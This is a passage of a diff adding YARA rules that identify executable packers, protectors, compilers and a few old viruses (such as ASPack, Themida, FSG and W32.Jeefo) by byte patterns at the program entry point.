+		$0 = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1304__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.4 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PrivateEXE_v20a_
+{
+	meta:
+		description = "PrivateEXE v2.0a"
+	strings:
+		$0 = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+		$1 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsiduim_1304__Obsiduim_Software_
+{
+	meta:
+		description = "Obsiduim 1.3.0.4 -> Obsiduim Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v085f_
+{
+	meta:
+		description = "tElock v0.85f"
+	strings:
+		$0 = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b3_
+{
+	meta:
+		description = "Armadillo v1.90b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_C_v70__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# v7.0 / Basic .NET"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _EXEJoiner_v10_
+{
+	meta:
+		description = "EXEJoiner v1.0"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+		$1 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ORiEN_v211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN v2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Patch__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Patch -> Sign by hot_UNP"
+	strings:
+		$0 = {81 3A 00 00 00 02 00 00 00 00}
+		$1 = {2A A3 F2 54 CE}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_10_beta__ap0x_
+{
+	meta:
+		description = "RLPack 1.0 beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5 48 02 00 00 56 FF D3 83 C4 08 8B B5 48 02 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 83 C0 04 89 85 44 02 00 00 EB 7A 56 FF 95 F1 01 00 00 89 85 40 02 00 00 8B C6 EB 4F 8B 85 44 02 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 44 02 00 00 C7 00 20 20 20 00 EB 06 FF B5 44 02 00 00 FF B5 40 02 00 00 FF 95 F5 01 00 00 89 07 83 C7 04 8B 85 44 02 00 00 EB 01 40 80 38 00 75 FA 40 89 85 44 02 00 00 80 38 00 75 AC EB 01 46 80 3E 00 75 FA 46 40 8B 38 83 C0 04 89 85 44 02 00 00 80 3E 01 75 81 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 48 02 00 00 FF 95 FD 01 00 00 61 68 ?? ?? ?? ?? C3 60 8B 74 24 24 8B 7C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_117p_
+{
+	meta:
+		description = "RLPack 1.17+"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v11_
+{
+	meta:
+		description = "y0da's Crypter v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_v010_
+{
+	meta:
+		description = "Ady`s Glue v0.10"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Crunch/PE Heuristic] --> Anorganix"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+		$1 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_120_Beta_PE_Packer_
+{
+	meta:
+		description = "eXPressor 1.2.0 Beta PE Packer"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _W32Jeefo_PE_File_Infector_
+{
+	meta:
+		description = "W32.Jeefo (PE File Infector)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Limited_
+{
+	meta:
+		description = "EXE2COM (Limited)"
+	strings:
+		$0 = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_Protection_Driver__Protection_Technology_
+{
+	meta:
+		description = "StarForce Protection Driver -> Protection Technology"
+	strings:
+		$0 = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyEnE_V001p__Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE V0.01+ -> Lennart Hedlund"
+	strings:
+		$0 = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _PeX_v099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX v0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_1989_1994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1989, 1994"
+	strings:
+		$0 = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+	condition:
+		$0 at entrypoint
+}
+rule _CDCops_II_
+{
+	meta:
+		description = "CD-Cops II"
+	strings:
+		$0 = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _SmartE__Microsoft_
+{
+	meta:
+		description = "SmartE -> Microsoft"
+	strings:
+		$0 = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_DSES_not_saved_
+{
+	meta:
+		description = "aPack v0.98b (DS&ES not saved)"
+	strings:
+		$0 = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+	condition:
+		$0
+}
+rule _NsPack_14_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 1.4 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+	condition:
+		$0
+}
+rule _PEArmor_049__Hying_
+{
+	meta:
+		description = "PE-Armor 0.49 -> Hying"
+	strings:
+		$0 = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 DLL"
+	strings:
+		$0 = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+		$1 = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+		$2 = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+		$3 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _UCEXE_v23_v24_
+{
+	meta:
+		description = "UCEXE v2.3, v2.4"
+	strings:
+		$0 = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Alternative_stub_
+{
+	meta:
+		description = "UPX Alternative stub"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXERefactor_V01__random_
+{
+	meta:
+		description = "EXERefactor V0.1 -> random"
+	strings:
+		$0 = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _WinRAR_32bit_SFX_Module_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_FORTRAN_
+{
+	meta:
+		description = "Microsoft FORTRAN"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_MTE_nonencrypted_
+{
+	meta:
+		description = "Vx: MTE (non-encrypted)"
+	strings:
+		$0 = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_PE_Mutilator_16_
+{
+	meta:
+		description = "Goat's PE Mutilator 1.6"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC1_
+{
+	meta:
+		description = "ASProtect v1.23 RC1"
+	strings:
+		$0 = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_v040b_
+{
+	meta:
+		description = "PCShrink v0.40b"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyControl_v303_
+{
+	meta:
+		description = "CopyControl v3.03"
+	strings:
+		$0 = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _DJoin_v07_public_xor_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (xor encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Com4mail_v10_
+{
+	meta:
+		description = "Com4mail v1.0"
+	strings:
+		$0 = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v106b_
+{
+	meta:
+		description = "ASPack v1.06b"
+	strings:
+		$0 = {90 90 90 75 00 E9}
+		$1 = {90 75 00 E9}
+		$2 = {90 90 75 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE32Pack_v138_
+{
+	meta:
+		description = "EXE32Pack v1.38"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1987_or_Borland_Cpp_1991_
+{
+	meta:
+		description = "Turbo C 1987 or Borland C++ 1991"
+	strings:
+		$0 = {FB BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSmasher_vxx_
+{
+	meta:
+		description = "ExeSmasher vx.x"
+	strings:
+		$0 = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02_
+{
+	meta:
+		description = "Krypton v0.2"
+	strings:
+		$0 = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+		$1 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+		$2 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+		$3 = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+		$4 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+		$5 = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+		$6 = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+		$7 = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+		$8 = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+		$9 = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+		$10 = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint or $10 at entrypoint
+}
+rule _kryptor_5_
+{
+	meta:
+		description = "kryptor 5"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _JDPack_V200__JDPack_
+{
+	meta:
+		description = "JDPack V2.00 -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v132_
+{
+	meta:
+		description = "SVK-Protector v1.32"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_020_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.20 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VOB ProtectCD 5] --> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+		$1 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ThemidaWinLicense_V1000V1800_Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.0.0-V1.8.0.0-> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_113__cyclotron_
+{
+	meta:
+		description = "EmbedPE 1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+		$1 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_v271_
+{
+	meta:
+		description = "EXE Stealth v2.71"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2 DLL"
+	strings:
+		$0 = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)"
+	strings:
+		$0 = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_V2X__MoleStudiocom_
+{
+	meta:
+		description = "MoleBox V2.X -> MoleStudio.com"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Reflexive_Arcade_Wrapper_
+{
+	meta:
+		description = "Reflexive Arcade Wrapper"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_PE_Encryptor_Alpha_preview_
+{
+	meta:
+		description = "PC PE Encryptor Alpha preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v101__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.01 -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v40_
+{
+	meta:
+		description = "Crunch v4.0"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+		$1 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Copy_Protector_v20_
+{
+	meta:
+		description = "Copy Protector v2.0"
+	strings:
+		$0 = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_13__Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP 2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+	condition:
+		$0
+}
+rule _ASProtect_SKE_21x_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (exe) -> Alexey Solodovnikov (h)"
+	strings:
